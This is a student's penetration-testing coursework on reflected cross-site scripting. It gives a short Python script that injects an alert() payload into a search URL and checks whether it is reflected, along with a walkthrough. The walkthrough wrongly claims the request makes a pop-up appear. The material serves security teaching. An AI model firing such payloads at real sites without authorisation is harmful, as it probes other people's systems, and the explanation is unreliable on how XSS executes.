FORDHAM UNIVERSITY

THE JESUIT UNIVERSITY OF NEW YORK

# PENETRATION TESTING (CISC 7050)

## Web Application Exploit Automation

Name: Gopi Gor

FDIN: A21370441

**Reverse XSS**

Cross-Site Scripting is when a user injects a malicious code into the input string of a web application. There are mainly three types of Cross-Site Scripting (XSS) – DOM based XSS, Reflected XSS and Stored XSS. In this discussion, we have focused on the reflected XSS part as done in the lab part of Cross-Site Scripting. The reflected XSS usually injects the payload and returns back a pop-up with a malicious link or button.

```
import requests

# Target URL vulnerable to XSS
target_url = "http://example.com/search"

# XSS payload
payload = "<script>alert('You have been hacked!')</script>"

# Craft the URL with the XSS payload
url_with_payload = target_url + "?q=" + payload

# Send a GET request to trigger the XSS
response = requests.get(url_with_payload)

# Check if the response contains the injected payload
if payload in response.text:
    print("[+] XSS attack successful! Payload executed.")
else:
    print("[-] XSS attack unsuccessful. The application may not be vulnerable.")
```

This is a very simple script to execute the reflected XSS attack. The import requests import the library which is used to send the HTTP requests. The next line allows us to set the target URL we think may be vulnerable to an XSS (the attacking website). The payload variable defines the JavaScript which will be embedded in the user input. Following this, we need to craft the URL in a way that the payload will get added into the target websites' URL, thus that variable has been defined. Finally, the last part is to initiate the attack for which we will send a get request which triggers the XSS attack and then checks if that target was vulnerable or not to the attack. The if-else loops signify that with the print statements. If the attack has been executed, the user will see a pop-up that says, "You have been hacked!" with an OK button on their screen.